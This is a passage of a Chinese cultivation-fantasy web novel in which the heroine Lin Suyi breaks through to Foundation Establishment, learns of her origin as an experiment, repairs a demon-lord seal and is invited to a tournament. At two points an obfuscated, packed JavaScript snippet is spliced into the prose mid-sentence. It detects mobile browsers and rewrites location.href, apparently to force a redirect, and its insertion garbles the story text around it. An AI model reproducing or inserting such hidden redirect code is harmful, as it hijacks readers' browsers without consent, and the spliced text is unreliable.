“素衣!不要!”云华想阻止,但被徐长老拦住。 林素衣转头,对云华微微一笑: “师叔,对不起。” “这一次……轮到我来保护大家了。” 蓝金色光芒,如太阳般升起。 照亮黑暗,也照亮前路。 但前路……依旧荆棘密布 26. 筑基之机 蓝金色光芒如潮水般涨落,林素衣的修为在炼气九层巅峰停下,不再上升。 清虚真人的残魂虽然强大,但毕竟只是一缕意识,且历经三千年岁月消磨,能给予的力量有限。强行将林素衣推到炼气九层巅峰已是极限,想要突破筑基,必须靠她自己。 但炼气九层巅峰,加上源海珠和净尘灵珠的双重加持,她的实力已经不弱于普通筑基初期修士。 更重要的是,清虚真人留下的不止是力量,还有一道神念传承——《净尘心经》的最高境界,“心如明镜”。 此刻,林素衣心中一片澄澈。她能清晰感知到洞穴内每一道灵气的流动,每一个人的情绪波动,甚至能隐约预判对手接下来的动作。 这就是“明镜境”的威力。 “一起上,速战速决!”天刑真人冷喝,率先出手。 他双手结印,洞穴顶部突然凝聚出无数紫色雷球。雷球如暴雨般落下,每一颗都蕴含着元婴中期修士的全力一击! 素青咬牙,挥剑布下一道青色剑幕,硬抗雷球。但她的修为比天刑真人低一层,剑幕剧烈晃动,随时可能破碎。 蛇婆和徐长老趁机攻向林素衣等人。 “结阵!”玄诚子大喝。 云华、三名执法弟子、周雨迅速站定方位,以玄诚子为中心,结成一个简易的五行防御阵。这是他们三天来紧急训练的成果,虽然粗糙,但勉强能抵挡金丹期的攻击。 蛇婆的蛇头拐杖化作一条黑色巨蟒,张开血盆大口咬向阵法。徐长老则祭出一面黑色小幡,幡面飞出无数怨魂,发出凄厉尖啸,攻击众人神魂。 阵法剧烈摇晃,周雨修为最弱,脸色煞白,嘴角溢血。 林素衣知道不能拖下去。她深吸一口气,双手在胸前结成一个复杂的手印。 “净尘九印……第一印,清水印!” 她丹田内的蓝金珠子骤然亮起,周身涌出清澈水流。水流如活物般环绕飞舞,所过之处,怨魂如雪遇沸水,纷纷消散。黑色巨蟒撞上水流,动作也迟缓下来。 “这是什么法术?!”徐长老惊疑不定。 “净尘宗的秘传印法。”素青一边抵挡雷球,一边解释,“清虚祖师创立的九大法印,每一印都有莫大威能。素衣才炼气期,竟能施展第一印,不愧是净尘道体!” 林素衣没有停歇。她手印再变: “第二印,净尘印!” 水流骤然变色,从清澈透明化作淡金色。金色水流扫过地面法阵,那些用鲜血刻画的邪纹开始消融、褪色。万魂幡剧烈震动,幡面上的怨魂人脸扭曲尖叫,似乎极为痛苦。 “住手!”蛇婆急了,咬破舌尖喷出一口精血在拐杖上。黑色巨蟒体型暴涨三倍,气息攀升到元婴初期层次,硬生生冲开金色水流,撞向林素衣! “小心!”云华想救援,但被徐长老缠住。 千钧一发之际,林素衣不闪不避,反而迎向巨蟒。她双手合十,眉心处浮现一个蓝色莲花印记。 “第三印……莲花印!” 一朵巨大的蓝色莲花在她身前绽放。莲花瓣瓣晶莹,散发出纯净的净化之力。黑色巨蟒撞上莲花,如撞铁壁,头颅炸裂,整个身体寸寸瓦解。 蛇婆惨叫着倒退,拐杖断裂,她本人也遭到反噬,气息萎靡。 “怎么可能……”徐长老目瞪口呆。一个炼气期,竟然连败两个金丹期?这简直是天方夜谭! 但他们不知道,林素衣此刻承受着巨大的压力。连施三印,她的灵力已经消耗了七成,经脉隐隐作痛。更重要的是,源海珠的力量正在反噬——毕竟不是她自身修炼得来的,强行催动必然付出代价。 她感到喉咙发甜,强行将涌上来的鲜血咽下。 不能倒,现在倒下,所有人都要死。 天刑真人看出她的虚弱,冷笑:“强弩之末。我倒要看看,你还能撑多久!” 他放弃攻击素青,转而全力攻向林素衣。双手虚握,一柄紫色雷矛凝聚成形。矛身缠绕着无数细小雷霆,散发出毁灭性的气息。 “天雷矛……这是天刑的成名绝技!”素青脸色大变,想救援,但被蛇婆和徐长老拼死拦住。 雷矛破空,瞬息而至。 林素衣知道躲不过。她将最后的力量注入眉心莲花印记,准备硬接。 就在这时—— “够了。” 一个苍老的声音响起。 雷矛停在林素衣眉心前三寸,再也无法前进半分。 洞穴入口处,不知何时站了一个人。 那是个穿着朴素灰袍的老者,须发皆白,面容慈祥,看起来像个普通的山村老翁。但他就那样静静站着,却让整个洞穴的空气都凝固了。 “掌……掌门?!”徐长老声音发颤。 来者正是青玄门掌门,天玄真人! 天刑真人脸色变幻不定:“天玄师兄……你怎么……” “我怎么找到这里的?”天玄真人缓步走进洞穴,每走一步,身上的威压就强一分,“你以为,我这掌门是白当的?” 他看向林素衣,眼中闪过一丝复杂:“孩子,辛苦了。” 又看向素青和玄诚子:“师弟,师妹,这些年……委屈你们了。” 最后,他看向天刑真人,语气转冷:“天刑,我本以为你只是贪图权势,没想到……你竟敢勾结魂殿,图谋放出上古魔尊!” 天刑真人知道事情败露,反而冷静下来:“既然被你发现,那就没什么好说的了。天玄,你以为就凭你一个人,能阻止我们?” “谁说他是一个人?” 洞穴外,又走进来三个人。 一个青袍中年,面容冷峻,是执法堂大长老。一个红袍老者,须发如火,是烈阳宗的代表。还有一个素衣道姑,手持拂尘,是清心庵的庵主。 三位元婴期! 加上天玄真人和素青,这边也有五位元婴期了! 蛇婆和徐长老面如死灰。这还怎么打? 但天刑真人突然笑了:“好好好……都来了,省得我一个个去找。” 他猛地抬手,拍向自己的天灵盖! “不好!他要自爆元婴!”素青急喝。 但天刑真人没有自爆。他拍碎天灵盖后,一道黑气从头顶涌出,在空中凝聚成一个模糊的人脸。 人脸狰狞,眼中燃烧着黑色火焰,散发出远超元婴期的恐怖气息! “恭迎……魔尊分魂!”天刑真人的身体软倒在地,气息全无。他竟然献祭了自己,召唤魔尊分魂降临! 人脸看向众人,发出沙哑的笑声:“三千年了……本尊终于……又能看到这片天地了……” 它张开嘴,一道黑色火焰喷向天玄真人! 火焰所过之处,空间扭曲,温度骤升。这是魔尊的本源魔火,能焚尽万物,连元婴期修士的护体灵力都难以抵挡。 天玄真人脸色凝重,祭出一面青铜古镜。镜面射出青光,与黑色火焰撞在一起,爆发出惊天动地的巨响! 洞穴剧烈摇晃,石壁崩裂,随时可能坍塌。 “所有人,退出洞穴!”天玄真人大喝。 众人连忙向外逃。林素衣被云华拉着,踉跄奔逃。她能感觉到,魔尊分魂的注意力,一直锁定在她身上。 不是因为她的实力,而是因为……她体内的源海珠。 那是镇压魔尊本体的关键之物! “小丫头……留下源海珠……”魔尊分魂的声音在脑海中响起,带着强烈的蛊惑力。 林素衣咬破舌尖,剧痛让她保持清醒。她回头看了一眼,只见天玄真人和其他三位元婴正在联手对抗魔尊分魂,但明显处于下风。 魔尊分魂虽然只是一缕分魂,但本质太高,堪比化神期。四位元婴联手,也只能勉强抵挡。 必须尽快加固封印! 众人逃出洞穴,来到谷底。素青布下禁制,暂时隔绝内外。 “现在怎么办?”玄诚子问。 林素衣盘坐下来,闭目感应。清虚真人的残魂虽然消散,但留下了最后的信息:加固封印需要两个条件。 第一,以净尘圣水为引,重绘三十六泉眼大阵的核心阵纹。 第二,需要一位筑基期以上的净尘传人,以自身灵力为源,激活大阵。 第一个条件好办。天池有圣水,素青随身带了一些。第二个条件…… 林素衣看向素青:“前辈,您的修为……” 素青摇头:“我不行。净尘血脉虽然能感应大阵,但我主修剑道,灵力属性与净尘真经不符。必须是你。” “可我才炼气九层。” “那就现在筑基!”素青斩钉截铁。 现在?林素衣苦笑。筑基需要安静的环境,充足的准备,还要有护法之人。现在外面强敌环伺,洞穴随时可能塌陷,这怎么筑基? “有办法。”天玄真人的声音传来。他从洞穴中退出,脸色苍白,显然受了伤,“青玄门有一处‘筑基秘境’,专供弟子筑基所用。那里时间流速与外界不同,秘境中一月,外界才一天。” 他看向林素衣:“我可以送你进去。但你要想清楚,筑基秘境虽然能争取时间,但风险极大。一旦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980536|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失败,轻则修为尽废,重则身死道消。” 林素衣几乎没有犹豫:“我去。” 没时间犹豫了。魔尊分魂越来越强,四位元婴快要撑不住了。一旦它突破封锁,所有人都要死。 “好。”天玄真人点头,从怀中取出一枚青色玉符,“这是秘境钥匙。你进去后,我会在外面为你护法。记住,你只有秘境中的一个月时间。一个月后,无论成败,都必须出来。” 他顿了顿:“若你失败……我会引爆秘境,与魔尊分魂同归于尽。” 这是最后的底牌。 林素衣接过玉符,看向众人。 云华眼中含泪:“一定要成功。” 素青拍拍她的肩膀:“净尘宗的未来,靠你了。” 玄诚子、周雨、三名执法弟子,都投来鼓励的目光。 林素衣深吸一口气,捏碎玉符。 青光将她包裹,空间扭曲,她的身影消失不见。 再睁开眼时,她已经身处一个陌生的空间。 这是一座孤峰之巅,云雾缭绕,灵气浓郁到化为液态,在空气中流淌。峰顶只有一间简陋的石屋,屋前立着一块石碑,上书: “筑基之路,生死一线。成则通天,败则陨灭。” 林素衣走进石屋。屋内空无一物,只有中央一个蒲团。 她盘坐下来,开始调整状态。 筑基,是修真路上的第一道天堑。 需要将丹田内的气旋压缩、凝实,化作液态的“灵湖”。灵湖一成,灵力总量暴涨十倍,且能自动吸收天地灵气,无需刻意打坐。 听起来简单,实则凶险万分。压缩气旋时若控制不当,轻则气旋崩溃修为尽废,重则丹田炸裂当场身亡。 更麻烦的是,筑基时会有“心魔劫”。心魔会幻化出人内心最深的恐惧,诱惑修士放弃、沉沦。一旦被心魔所困,轻则走火入魔,重则神魂俱灭。 林素衣静坐三日,将状态调整到最佳。 然后,她开始运转净尘真经。 丹田内,炼气九层巅峰的气旋急速旋转。随着功法运转,气旋开始向内压缩。 起初很顺利。气旋从直径三尺压缩到两尺、一尺…… 当压缩到拳头大小时,阻力骤增。气旋疯狂反抗,如脱缰野马,在丹田内横冲直撞。 林素衣额头渗出冷汗,咬牙坚持。她用神识强行压制气旋,一点点向内挤压。 又过了三日,气旋压缩到鸡蛋大小,颜色从淡蓝变成深蓝,质地也从气态向液态转变。 关键时刻来了。 她取出一滴净尘圣水,含入口中。圣水化作精纯灵气,涌入丹田,滋养即将成型的灵湖。 就在这时—— “放弃吧……” 一个声音在脑海中响起。 “筑基那么辛苦……何不舒舒服服当个凡人……” “回林家村去……和父母在一起……” 心魔劫,来了。 林素衣眼前一花,发现自己回到了林家村。 阳光明媚,炊烟袅袅。王婶在卖豆腐,李叔在打铁,陈爷爷在教书。一切如常,仿佛那场惨剧从未发生。 她站在自家院门外,看到林大山在劈柴,王氏在做饭。 “素衣回来了?”王氏看到她,露出温柔的笑容,“饭快好了,快洗手吃饭。” 林大山也放下斧头:“丫头长高了。” 温馨的场景,却让林素衣心如刀割。 她知道这是幻象。但太真实了,真实得让她想沉溺其中。 “留下来吧……”心魔继续蛊惑,“这里才是你的家……外面太危险了……何必去拼命……” 林素衣闭上眼睛。 再睁开时,眼中一片清明。 “这不是我的家。”她轻声道,“我的家,早在三年前就毁了。” 她抬手,一指点向幻象。 幻象如玻璃般破碎。 场景变换,她回到了石屋。丹田内,气旋已经彻底液化,化作一片小小的蓝色灵湖。 筑基,成了! 但还没完。 灵湖成型的瞬间,源海珠突然剧烈震动,一道庞大的信息流涌入脑海。 那是清虚真人留下的最后传承——关于三十六泉眼大阵的真正秘密,以及…… 一个残酷的真相。 林素衣脸色骤变。 她终于明白,为什么清微真人会堕入魔道,为什么魔尊能通过阵图引诱他。 因为净尘宗的创立,从一开始…… 就和魔尊有关。 27. 身世之谜 源海珠传递的信息如洪水般涌入脑海,林素衣在消化这些信息的同时,筑基的过程仍在继续。 灵湖已成,接下来是巩固境界、扩张经脉、重塑肉身。这是水到渠成的过程,但需要时间。 秘境中的时间流速是外界的三十倍,她还有二十七天。 第一天,她将灵湖稳固下来。原本拳头大小的灵湖扩张到碗口大,颜色从深蓝变成淡金色——这是净尘圣水与灵湖融合的结果。 第二天,她开始扩张经脉。筑基期灵力暴涨,原有的经脉宽度已经不够,必须用灵力一点点撑开、加固。这个过程痛苦无比,像是用刀刮骨头,但她咬牙坚持。 第三天,重塑肉身。灵力洗刷每一寸血肉、骨骼、内脏,剔除杂质,强化强度。她的皮肤表面渗出黑色污垢,那是体内积累的杂质和丹毒。 到第十天时,她已经完成了筑基初期的所有步骤。灵力总量是炼气期的十五倍,神识范围扩大到三百丈,肉身强度堪比低级法器。 更重要的是,她对水属性灵力的掌控达到了新的层次。心念一动,就能凝聚出各种形态的水——锋利的冰刃,柔韧的水盾,甚至能模拟出简单的降雨。 但林素衣没有喜悦。 因为源海珠传来的信息,太过震撼。 三千年前,净尘宗开山祖师清虚真人游历至灵源之眼,发现这里镇压着上古魔尊的残躯。魔尊虽被封印,但残存的意识依旧强大,不断散发魔气污染周围。 清虚真人本想彻底摧毁魔尊,却发现做不到——魔尊残躯与地底灵脉相连,强行摧毁会导致灵脉爆炸,方圆万里化为焦土。 无奈之下,他创立了净尘宗,以三十六泉眼大阵抽取魔气、净化灵脉,同时借灵脉之力加固封印。 这本是功德无量的善举。 但问题出在第三代掌门身上。 那位掌门天赋极高,却心术不正。他暗中研究魔尊残躯,发现魔气不仅能污染,还能被炼化、吸收,大幅提升修为。 他开始偷偷抽取魔气修炼,修为突飞猛进,短短百年就从金丹期突破到元婴后期。尝到甜头后,他变本加厉,甚至试图与魔尊意识沟通,想得到更高深的魔功传承。 魔尊意识何等狡猾,趁机将一部分魔功伪装成上古秘法,传授给他。那位掌门如获至宝,疯狂修炼,最终走火入魔,被门人发现后镇压。 但他留下的祸根,已经种下。 从那以后,净尘宗每一代都有弟子暗中修炼魔功。虽然历代掌门竭力清除,但魔功如跗骨之蛆,始终无法根除。 到清微真人这一代,问题彻底爆发。 清微年轻时天赋异禀,心性纯良,被誉为净尘宗千年不遇的天才。但他有个致命的弱点——对力量的渴望太过强烈。 一次偶然,他在藏经阁发现了第三代掌门留下的笔记。笔记中详细记载了魔功的修炼方法和魔尊意识的沟通方式。 清微本应上报,但他鬼使神差地隐瞒了下来,偷偷研究。 起初只是好奇,后来逐渐沉迷。魔功的进境太快了,远超正统功法。短短三百年,他就从元婴初期突破到元婴后期,距离化神只有一步之遥。 但代价是,他的心境被魔气侵蚀,开始变得偏执、疯狂。 魔尊意识趁机蛊惑,告诉他只要打开封印,就能得到完整的魔尊传承,甚至能借助魔尊之力飞升上界。 清微信了。他开始暗中筹划,甚至与魂殿勾结。 素心发现后,联合几位长老发动叛乱,试图阻止。但为时已晚,清微已经掌握了宗门大权,叛乱的几位长老全部被杀,素心也被打成重伤,带着女儿素青逃入天池。 后面的事,林素衣已经知道了。 但还有一个更残酷的真相。 关于她自己。 清微真人在研究魔功的同时,也在进行另一项实验——创造完美的“道魔之体”。 他认为,正统功法和魔功各有优劣,若能融为一体,就能创造出前所未有的强大功法。为此,他收集了净尘宗历代天才弟子的精血,结合魔尊残躯的一丝本源,用禁术培育出了一个胚胎。 那就是林素衣的前身。 但实验失败了。胚胎虽然成活,却无法修炼任何功法,就像一个精致的空壳。 清微不甘心,用了更极端的办法——转生术。 他将胚胎的灵魂剥离,投入轮回,同时用净尘宗最后的气运为代价,诅咒这个灵魂无论转生多少次,最终都会回到净尘宗,成为他的实验品。 而这一世,林素衣胎穿到林家村,觉醒前世记忆,一步步走到今天…… 一切,都在清微的算计之中。 甚至包括源海珠的认主,包括她得到净尘传承,包括她来到灵源之眼。 “原来……我只是一个实验品……”林素衣喃喃自语,心中一片冰凉。 她以为自己逆天改命,实则不过是别人棋盘上的棋子。 这种认知,几乎击垮她的道心。 但就在这时,另一个声音在脑海中响起: “孩子……别信他……” 是清虚真人的残魂!他竟然还没完全消散! “清微的算计……只是一部分……”清虚真人的声音虚弱但坚定,“他以为能控制一切……但他错了……” “错在哪?” “错在……低估了人心的力量。”清虚真人缓缓道,“转生术虽然能诅咒灵魂,却无法诅咒选择。这一世的你,是林大山和王氏的女儿,是林家村的林素衣。你的记忆、你的情感、你的选择……都是真实的。” “清微想把你变成傀儡……但你用自己的方式……走出了不同的路……” 林素衣怔住。 是啊。清微算计了一切,却没算计到,她会为了救父母燃烧生命,会为了救同门不惜一切,会为了保护苍生甘愿冒险。 这些选择,都是她自己做出的。 “孩子……记住……”清虚真人的声音越来越弱,“过去无法改变……但未来……由你决定……” “清微把你当成棋子……你就掀翻他的棋盘……” “魔尊把你当成容器……你就打破他的枷锁……” “你的人生……只能由你自己……定义……” 声音最终消散。 林素衣坐在石屋中,沉默良久。 然后,她笑了。 笑容从苦涩,逐渐变得释然,最终化为坚定。 “谢谢您,祖师。”她轻声道,“我明白了。” 过去无法改变,那就接受它。 命运无法反抗,那就超越它。 清微把她当棋子?那她就成为棋手。 魔尊把她当容器?那她就成为封印。 她站起身,走出石屋。 秘境中过去十五天,外界才过去半天。时间还很充裕。 她要利用剩下的时间,做一件事—— 创造属于自己的功法。 净尘真经虽好,但毕竟是清微所传,里面可能藏着后门。魔功虽然强大,但隐患太大。她要结合两者之长,创造出最适合自己的功法。 这听起来天方夜谭。创造功法是化神期以上大能才敢尝试的事,她一个刚筑基的小修士,凭什么? 凭源海珠。 凭清虚真人留下的传承。 凭她两世为人的阅历和智慧。 林素衣再次盘坐,意识沉入源海珠。 这一次,她不再被动接收信息,而是主动检索、分析、重组。 净尘真经的核心是“上善若水”,讲究柔韧、包容、以柔克刚。 魔功的核心是“吞噬万物”,讲究霸道、掠夺、以力破巧。 两者看似对立,实则…… 可以互补。 水至柔,却能穿石。魔至刚,却能容物。 她开始推演。 第一天,毫无头绪。 第二天,有了一丝灵感。 第三天,抓住了一条线索。 到第二十天时,她终于有了雏形。 这门功法,她命名为《净魔心经》。 以净尘真经为基,以魔功为用。修炼时,先用净尘灵力净化自身,确保心境澄澈,再用魔功的方法抽取天地灵气,但用净尘心经炼化,剔除魔性,保留精纯。 简单说,就是用魔功的效率,走净尘宗的正道。 听起来矛盾,但源海珠的推演结果显示,可行。 第二十五天,林素衣开始尝试修炼。 第一周天,顺利。净尘灵力如清泉流淌,洗涤经脉。 第二周天,加入魔功法门。天地灵气疯狂涌入,是正常修炼速度的三倍! 第三周天,炼化。涌入的灵气被净尘心经反复锤炼,杂质尽去,化作最精纯的灵力汇入灵湖。 成了! 林素衣睁开眼睛,眸中蓝金双色光芒流转。 筑基初期巅峰! 不仅修为大进,更重要的是,她找到了自己的路。 第二十七天,秘境开始震动。时间到了。 林素衣最后检查了一遍自身状态,确认无误。 然后,她捏碎了天玄真人给的传送玉符。 青光闪过,她回到了谷底。 外界,只过去了一天。 但这一天,发生了太多事。 林素衣出现时,看到的是一片惨烈的战场。 洞穴已经坍塌大半,四位元婴修士围坐在废墟周围,布下一个巨大的四象封魔阵。阵法中央,魔尊分魂被四色光芒牢牢锁住,但依旧在不断冲击。 素青、玄诚子等人则在外围清理魂殿残党。蛇婆和徐长老已经伏诛,但还有不少黑衣人负隅顽抗。 看到林素衣出现,所有人都是一愣。 她身上的气息……筑基期?还带着一种奇特的威压,既像净尘宗的正气,又隐约有魔道的霸道。 “素衣!”云华惊喜道,“你成功了?” “嗯。”林素衣点头,看向四象封魔阵,“情况怎么样?” 天玄真人脸色苍白,显然消耗极大:“勉强困住了,但撑不了多久。魔尊分魂在吸收地底魔气,越来越强。我们必须尽快加固封印。” 林素衣走到阵法边缘,看向被困的魔尊分魂。 那张模糊的人脸也看向她,眼中黑火跳动:“小丫头……你回来了……把源海珠给我……我可以赐你永生……” “永生?”林素衣笑了,“像清微那样,变成你的傀儡吗?” 魔尊分魂沉默片刻,突然狂笑:“清微……那个蠢货……他以为能控制我……其实不过是我手中的玩偶……” “但你不同……”它盯着林素衣,“你是完美的道魔之体……只要融合我的本源……你就能成为新的魔尊……统治这个世界……” 诱惑,赤裸裸的诱惑。 但林素衣心如止水。 “抱歉,我没兴趣。” 她转身,看向灵源之眼的方向:“我要做的,是彻底封印你。” “就凭你?”魔尊分魂嗤笑,“就算你筑基了,也不过是蝼蚁。” “试试看。” 林素衣不再废话,走向灵源之眼。 天玄真人想阻止:“孩子,那里危险……” “让她去。”素青拦住他,“我相信她。” 林素衣回头,对众人微微一笑: “等我回来。” 然后,纵身跃入灵源之眼。 潭水冰冷刺骨,但对她来说如鱼得水。净尘灵体对水有天然的亲和力,她在水中呼吸自如,向下潜去。 越往下,压力越大,魔气越浓。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980537|193562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>到百丈深处时,她已经能看到封印的本体—— 一个巨大的金色光球,悬浮在潭底。光球表面刻满复杂的符文,但很多地方已经黯淡、破损。光球内部,隐约能看到一团不断蠕动的黑影,那就是魔尊残躯。 而在光球周围,悬浮着三十六颗蓝色光点,对应三十六泉眼。这些光点大多黯淡,只有少数几颗还在发光,维持着封印的最后力量。 林素衣游到光球前,双手按在光壁上。 源海珠的力量透过掌心注入,光球微微震动,传递来一段信息: 封印还能撑……三个时辰。 三个时辰后,魔尊分魂就会与本体共鸣,强行破封。 时间紧迫。 林素衣闭目,开始按照清虚真人的传承,修复阵纹。 她的指尖涌出淡金色的灵力——那是净尘圣水与自身灵力融合后的特殊灵力,对修复净尘宗阵法有奇效。 灵力如丝线般蔓延,修补破损的符文,点亮黯淡的节点。 一个时辰,修复了三成。 两个时辰,修复了六成。 到第三个时辰时,她修复了九成。 只剩最后一道核心阵纹——那需要净尘传人的生命精血为引,才能完全激活。 林素衣咬破指尖,一滴金红色的鲜血滴在光壁上。 鲜血融入,整个光球骤然亮起! 三十六颗蓝色光点同时爆发光芒,潭水沸腾,强大的净化之力从潭底涌出,直冲而上! 谷底,所有人都感受到这股力量。 魔尊分魂发出凄厉的惨叫,身体开始消散:“不——!这不可能——!” 四象封魔阵趁机收紧,将它彻底炼化。 尘埃落定。 但林素衣没有上来。 一天,两天,三天…… 她始终没有出现。 云华想下去找,但灵源之眼已经被重新封印,外人无法进入。 第七天,就在众人绝望时,潭水突然分开。 林素衣缓缓升起。 她看起来没什么变化,但所有人都能感觉到,她身上多了一种说不清道不明的气质——既像初生的婴儿般纯净,又像历经沧桑的老人般深邃。 “素衣!”云华冲过去抱住她。 “我没事。”林素衣微笑,“只是……需要睡一觉。” 话音刚落,她就昏了过去。 这一睡,就是一个月。 期间,青玄门发生了剧变。 天玄真人清理门户,揪出了所有魂殿内应。徐长老一脉被连根拔起,涉及的长老、执事、弟子共三百余人,全部废去修为,逐出宗门。 天刑真人的罪行公之于众,青玄门上下震动。为表歉意,天玄真人宣布,青玄门将全力支持净尘宗重建,并提供所有必要资源。 烈阳宗、清心庵等当年参与围攻的宗门,也派来使者道歉,愿意补偿。 尘封千年的恩怨,终于有了了结的希望。 一个月后,林素衣醒来。 她睁开眼时,床边围满了人:云华、素青、玄诚子、周雨、三名执法弟子,甚至天玄真人也在。 “感觉怎么样?”云华关切地问。 “很好。”林素衣坐起身,“前所未有的好。” 她内视自身,发现丹田内的灵湖又扩大了一倍,颜色变成了纯粹的金色。源海珠和净尘灵珠已经完全融合,化作一颗金蓝双色的珠子,静静悬浮在灵湖中央。 更神奇的是,她的修为……筑基中期了! 沉睡一个月,自动突破? “是灵源之眼的馈赠。”素青解释,“你修复封印,得到了三十六泉眼的认可。它们反哺了一部分本源灵气给你,助你突破。” 原来如此。 林素衣下床,走到窗边。窗外,净尘宗的废墟正在重建。 天玄真人履行承诺,派来了大量工匠和材料,帮助重建山门。虽然要恢复鼎盛时期的景象还需百年,但至少有了开始。 “素衣。”天玄真人走到她身边,“有件事……我想问你。” “掌门请说。” “清微当年用转生术创造你,这件事……你恨他吗?” 林素衣沉默片刻,摇头:“不恨。” “为什么?” “因为他给了我生命。”林素衣看向远方,“虽然动机不纯,但我确实因此存在。而且……正因为知道自己是‘被创造’的,我才更珍惜‘成为自己’的机会。” 她转身,看向众人: “清微想让我成为棋子,那我就成为棋手。魔尊想让我成为容器,那我就成为封印。” “我是林素衣,净尘宗的传人,林家村的女儿。” “这一世,我要走自己的路。” 阳光洒在她身上,镀上一层金边。 众人看着她,仿佛看到了一颗新星,正在冉冉升起。 但谁也没注意到,林素衣的眼底深处,闪过一丝极淡的黑气。 那黑气转瞬即逝,快得像是错觉。 只有她自己知道—— 修复封印时,为了彻底压制魔尊,她不得不吸收了一缕魔气,将其封印在源海珠深处。 这是隐患,也是力量。 未来的路,还很长。 而下一个挑战,已经悄然而至。 一个月后,青玄门收到一封来自“天机阁”的请柬: “三年后,玄灵界‘天骄大比’将在中州举行。诚邀各宗门筑基期以下弟子参与,角逐‘天骄榜’。” 请柬最后,附了一句特别的话: “净尘宗传人林素衣,若参加,可直接进入决赛圈。” 天机阁,玄灵界最神秘的组织,号称能推演天机,洞察未来。 他们,为什么会特别关注林素衣? 28. 天机阁的邀请 天机阁的请柬由一只银翅纸鹤送来,在青玄门大殿上空盘旋三圈后,化作一道白光,降落在天玄真人身前。 请柬以金箔为底,银砂为墨,上面记录的文字自动流转,散发着淡淡的预言之力。 当读到最后一句话时,殿内所有长老都沉默了。 天玄真人看向坐在下首的林素衣,她现在是净尘宗暂定的“代宗主”——虽然整个宗门目前只有七个人,但名分已经定下。 “素衣,你怎么看?”天玄真人问。 林素衣接过请柬,指尖触碰到金箔的瞬间,脑海中突然浮现一幅模糊的画面: 云雾缭绕的仙山,一座高耸入云的白塔,塔顶站着一个人影。那人影背对着她,看不清面容,但手中的折扇轻轻摇晃,扇面上似乎刻着三个字—— “算天下”。 画面一闪而逝。 “我去。”林素衣平静道。 “但天骄大比……”玄诚子担忧道,“那是整个玄灵界最盛大的年轻修士比试,参与者都是各宗门的顶尖天才,其中不乏筑基后期的强者。你现在才筑基中期……” “还有三年时间。”林素衣收起请柬,“三年,足够我提升到筑基后期了。” 素青却皱眉:“问题的关键不是修为。天机阁为什么要特别邀请你?还直接给决赛名额?这太反常了。” 天机阁在玄灵界的地位很特殊。他们从不参与宗门争斗,也不争夺资源,只在每一次重大事件发生时发出预言或邀请。但他们的预言从未出错,邀请也从不无缘无故。 “也许……和我体内的源海珠有关。”林素衣猜测,“天机阁号称能推演天机,可能感应到了什么。” 大殿内再次陷入沉默。 最终,天玄真人拍板:“既然决定去,那就好好准备。青玄门会全力支持你。这三年的资源,优先供应净尘宗重建和你的修炼。” “多谢掌门。” 会后,林素衣回到净尘宗的临时驻地——天池边新建的几间竹屋。 云华已经在等她了:“你真的要去?” “嗯。” “那我陪你。” “不。”林素衣摇头,“净尘宗需要你。宗门重建刚刚开始,素青前辈一人忙不过来。你是金丹期,又是净尘血脉,能帮大忙。” 云华还想说什么,林素衣握住她的手:“师叔,我不能永远躲在你们身后。天骄大比是个机会,让我看看自己在这玄灵界,到底算什么水平。” 她顿了顿:“而且……我总觉得,天机阁的邀请背后,有更深层的用意。” 当晚,林素衣开始制定三年的修炼计划。 源海珠已经完全融合,给了她完整的净尘宗传承和部分清微真人的记忆。但这些都需要时间消化。 她将计划分为三部分: 第一年,巩固修为,完善《净魔心经》。这门自创的功法虽然成功,但还有很多细节需要优化。 第二年,学习净尘宗的秘术。三十六泉眼大阵她只是勉强修复,要真正掌握,必须深入学习阵法之道。 第三年,实战训练。闭门造车永远成不了真正的强者。 计划定下,第二天就开始执行。 天玄真人说到做到,青玄门的资源源源不断送来。丹药、灵石、功法典籍、炼器材料……甚至还有一件极品防御法宝“玄水罩”,据说能抵挡金丹初期的全力一击。 但林素衣最需要的,是战斗经验。 净尘宗的传承中,大多是修炼法和阵法,真正的战斗术法很少。这符合净尘宗“以和为贵”的宗旨,但对即将参加天骄大比的她来说,不够。 “可以去‘试炼秘境’。”素青建议,“青玄门有几处试炼地,模拟各种战斗环境,适合实战训练。” 林素衣去了。 第一处是“幻剑谷”,谷中布有剑阵,会幻化出各种敌人。她在这里待了三个月,从最初的狼狈应对,到后来的游刃有余,剑法突飞猛进。 第二处是“妖兽园”,豢养着各种低阶妖兽。她花了四个月,几乎将所有种类的妖兽都打了一遍,熟悉了不同妖兽的习性和弱点。 第三处是“重力室”,能调节重力倍数。她在五倍重力下修炼了两个月,肉身强度提升了一大截。 到第一年结束时,林素衣已经将《净魔心经》完善到第二层。修为虽然没有突破到筑基后期,但灵力精纯度和控制力,已经不弱于筑基后期修士。 更重要的是,她的战斗经验已经远超同龄人。 第二年,她开始学习阵法。 净尘宗的阵法传承博大精深,从基础的聚灵阵,到复杂的护山大阵,应有尽有。素青亲自教导她,玄诚子也常来指点。 林素衣发现自己在阵法方面有惊人的天赋。可能是源海珠的加持,也可能是两世为人的思维优势,那些复杂的符文和阵理,她一看就懂,一学就会。 半年时间,她掌握了净尘宗所有基础阵法。 下半年,她开始研究三十六泉眼大阵。 这个阵法太复杂了,涉及天文、地理、五行、八卦,甚至还有部分空间法则。林素衣废寝忘食,常常一坐就是三天三夜。 